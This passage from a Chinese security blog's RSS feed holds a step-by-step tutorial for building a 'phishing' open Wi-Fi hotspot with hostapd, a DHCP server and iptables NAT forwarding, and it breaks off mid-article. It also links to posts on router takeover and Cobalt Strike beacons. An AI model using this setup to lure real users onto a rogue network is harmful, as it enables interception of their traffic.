data-ratio="0.42685185185185187" src="https://wechat2rss.xlab.app/img-proxy/?k=d35b326b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZ3j6umDI6neJPb9cNvQJmIa0XrTQU92ItrFMT839FecR6UXXceQKSDRicEPpnhp38MToC2WOxBNhg%2F640%3Fwx_fmt%3Djpeg"/></span></a></section><section style="width: 100%;padding-left: 3px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p data-recommend-title="t" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485825&amp;idx=2&amp;sn=29ce2ce1183af1204be56d82f0311c94&amp;chksm=faae514acdd9d85c055e9684d74099ff22435858120f9ed759629eeb3d0e1eb05165c0d4242e&amp;scene=21#wechat_redirect" data-linktype="2">骚姿势获取无线路由器后台权限</a></p></section></section></section></section></section><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="3" data-recommend-article-id="2247485700_1" data-recommend-article-time="1583672400" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/djiam4RadAPanDgSnFXsiaBeDRvhY5fA1O0FXCSGJibBWPgQJdgm9BDPAicbXmfhDZfnuZTTzh0gqpvibkLDX4tRW2w/0?wx_fmt=jpeg" data-recommend-article-title="Cobalt Strike｜DNS Beacon" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485700&amp;idx=1&amp;sn=87ee6bd6b36dd7583b8b9f7ffa54054a&amp;chksm=faae51cfcdd9d8d9aae235e3928e0ce4e669da3e188a2cd69e75b238b2f5abfd67f8f7a05c2c#rd"><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485700&amp;idx=1&amp;sn=87ee6bd6b36dd7583b8b9f7ffa54054a&amp;chksm=faae51cfcdd9d8d9aae235e3928e0ce4e669da3e188a2cd69e75b238b2f5abfd67f8f7a05c2c&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-type="normal" data-recommend-tid="3" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;padding: 5px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section style="width: 100%;padding: 5px 5px 8px;background: #e6eeff;border-radius: 2px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid=""><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-w="1080" data-type="jpeg" style="width: 100%;max-height: 112px;object-fit: cover;margin: 0px;" data-ratio="0.42592592592592593" src="https://wechat2rss.xlab.app/img-proxy/?k=1fba8e25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPanDgSnFXsiaBeDRvhY5fA1O0FXCSGJibBWPgQJdgm9BDPAicbXmfhDZfnuZTTzh0gqpvibkLDX4tRW2w%2F640%3Fwx_fmt%3Djpeg"/></span></section><section style="width: 100%;padding-left: 3px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p data-recommend-title="t" data-mid="">Cobalt Strike｜DNS Beacon</p></section></section></section></section></a></section><br/></section><p><img class="rich_pages __bg_gif" data-ratio="1" data-s="300,640" data-type="gif" data-w="640" style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;caret-color: rgb(51, 51, 51);box-sizing: border-box !important;width: 617px !important;visibility: visible !important;display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e10582e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZEibagnCovHXK1NtqhC9Ctg8cyuuiaOWQ2tFjHlVyd2SQrsHtQaicibTNSoWOjZg1Ge07VtNtFCC2OPQ%2F640%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-size-adjust: auto;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span></p><p style="white-space: normal;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;visibility: visible !important;width: 593px !important;display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;"><br/></p><p style="white-space: normal;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;">广告时间<br/></p><p style="white-space: normal;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;"><br/></p><p style="white-space: normal;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;"><img class="rich_pages" data-ratio="0.3008" data-s="300,640" data-type="jpeg" data-w="1250" style="box-sizing: border-box !important;visibility: visible !important;width: 593px !important;display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=6269f5ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbG3Vr3MoFCJzlV2ee6he3Kc2R5BP1qHmib7xMNl4Ob7G88dDwURFHp0aSfpZsaoYcVAUB8AswWw1Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p>



<p><a href="2247487921">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c2ef0379&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247487921%26idx%3D1%26sn%3Ddabc68501c368eef0434bc16bd01dfa4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 Jan 2021 20:09:00 +0800</pubDate>
    </item>
    <item>
      <title>手把手带你搭建钓鱼Wi-Fi热点[1]</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486554&amp;idx=1&amp;sn=230088994b318cb213e41f23a7093982</link>
      <description>手把手教你搭建钓鱼Wi-Fi</description>
      <content:encoded><![CDATA[<p>
原创 <span>年华不散场</span> <span>2020-08-25 22:57</span> <span style="display: inline-block;"></span>
</p>

<p>手把手教你搭建钓鱼Wi-Fi</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f8771d1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AQMlxOgkjwbnEnY29w4iamjmePku7fZKqku5a5OgL5JUwibFXoRFGllZg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages" data-ratio="0.45702005730659023" data-s="300,640" style="" data-type="png" data-w="1396" src="https://wechat2rss.xlab.app/img-proxy/?k=19746e83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39ABFg4k3Vt6Z4P3iaY6Xd6jYB3Zg9jdzqhxHiaWfITNHsV7jzibL17fMFxw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">Hello，小伙伴们晚上好。今天我们来<strong>搭建一个钓鱼Wi-Fi</strong>，这里需要一台双网卡的电脑（其中一个网卡必须是无线网卡）。</span><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">系统采用的是ubuntu18</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">，安装步骤就省略啦</span><br/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们首先查看一下网卡信息：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.38330975954738333" data-s="300,640" style="" data-type="png" data-w="1414" src="https://wechat2rss.xlab.app/img-proxy/?k=1ad42376&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39Ardno9RIIxAc0TlQatxbibvcvytMbP4GFiaHKpLfCuBcLux7gVItKkmPQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">需要禁用WI-FI并解锁操作，最后再配置IP地址</span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">nmcli</span> <span class="code-snippet__selector-tag">radio</span> <span class="code-snippet__selector-tag">wifi</span> <span class="code-snippet__selector-tag">off</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">rfkill</span> <span class="code-snippet__selector-tag">unblock</span> <span class="code-snippet__selector-tag">wlan</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">ifconfig</span> <span class="code-snippet__selector-tag">wlan0</span> 172<span class="code-snippet__selector-class">.16</span><span class="code-snippet__selector-class">.1</span><span class="code-snippet__selector-class">.1</span></span></code></pre></section><p><br/><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><strong>需要注意wlan0是网卡的名字</strong>，像这个ubuntu的网卡名为wlx70f11c127eb9</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4317862165963432" data-s="300,640" style="" data-type="png" data-w="1422" src="https://wechat2rss.xlab.app/img-proxy/?k=2fa7edbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AGGKfuU09TtzibDTzGC6aIIB9a6NtcCZGACdhSLanYcYox4wv0Y30yPg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们这里选择使用<strong>hostapd</strong>这个软件来创建热点，该软件需要一个配置文件，内容如下：</span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">interface</span>=wlan0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">ssid</span>=FreeWIFI</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">driver</span>=nl80211</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">channel</span>=<span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">hw_mode</span>=g</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span><img class="rich_pages" data-ratio="0.3584558823529412" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;" data-type="png" data-w="1088" src="https://wechat2rss.xlab.app/img-proxy/?k=b0aca94f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39ACA4kDB3ibpoSGrFQfZrwF57wibQia8eRNMAeLU04b4FvXvYjsJ4ziaAJmw%2F640%3Fwx_fmt%3Dpng"/><br/><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p><strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">这里有个坑，等号左右不能有空格</span></strong><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p><br/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">启动hostapd</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> hostapd ./open.conf</span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5899094437257438" data-s="300,640" style="" data-type="png" data-w="1546" src="https://wechat2rss.xlab.app/img-proxy/?k=cb10b304&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39A8NXcQwKH3FiasCnoEia6OTtxIUoiba4D7qAo17hNbTjsNJcuPgaU9rbcg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">如此一来，我们的Wi-Fi热点就创建成功了。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5569007263922519" data-s="300,640" style="" data-type="png" data-w="826" src="https://wechat2rss.xlab.app/img-proxy/?k=4d706c36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39ACB3QzoHiaTEorGh3AHGbuqJpp5wEMYkicpqD7AkJVgBBYLVfb9hvXepw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">但是我们还没有<strong>配置dns和dhcp服务器</strong></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">使用apt安装</span>isc-dhcp-server：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6692810457516339" data-s="300,640" style="" data-type="png" data-w="1530" src="https://wechat2rss.xlab.app/img-proxy/?k=e343207f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AVJgun1GZa7gAiasGZacYpzbBXQXvOQiaf4ZTsM4UwicicFic5br8TmKHjCg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"> <strong>修改/etc/default/isc-dhcp-server配置文件</strong>，将网卡改为我们的无线网卡：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5127175368139224" data-s="300,640" style="" data-type="png" data-w="1494" src="https://wechat2rss.xlab.app/img-proxy/?k=cc1d8867&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AIeXXowqEaGicicXM6Q7KbP3aj1CsYjqTibpUVUw4GlP7ibS4o65pVyotpQ%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">修改/etc/dhcp/dhcpd.conf配置文件</span></strong><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">，编辑DHCP地址池以及DNS服务器地址等等</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7211660329531052" data-s="300,640" style="" data-type="png" data-w="1578" src="https://wechat2rss.xlab.app/img-proxy/?k=6a72487f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AB5sc4AUF3KDlknYnhLdbicvuYqCgQlPe81ibvKVRwYtuVJxuGctLWX8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"><strong>启动DHCP服务</strong></span><br/><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6108247422680413" data-s="300,640" style="" data-type="png" data-w="1552" src="https://wechat2rss.xlab.app/img-proxy/?k=d21d27fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39ADqRRbLkHgBYWJWBmWEh4fYAHykrjGAhoUK8aqpCNh7GD8ysW776QyA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">还有最后一步就是要<strong>将wlan网卡上接收到的流量转发到有线网卡上</strong>，这样我们才可以让钓鱼Wi-Fi内的客户端上网。</span><br/><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">iptables</span> -t nat -A POSTROUTING -o eth0 -j MASQUERADE</span></code></pre></section><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.34914361001317523" data-s="300,640" style="" data-type="png" data-w="1518" src="https://wechat2rss.xlab.app/img-proxy/?k=4139ffb6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39ARyC2KF08QU9cF5Hs173icrfx65THMYHvMmHkvtcvMDic2bSGrGhicpicQg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color:#000000;font-family:Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, Open Sans, Helvetica Neue, sans-serif;"><span style="font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">还有一步就是永久开启路由功能：<strong>修改/etc/sysctl.conf文件将net.ipv4.ip_forward=1前的#去掉并保存</strong>。</span></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">我们来试试能不能上网：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.4764044943820225" data-s="300,640" style="" data-type="png" data-w="890" src="https://wechat2rss.xlab.app/img-proxy/?k=b1b7ae11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AcOaTwiaOAHURfZHypXuyOhiaC83ThlkBcK1hSsxMD9KRdpWzADdDw1fQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 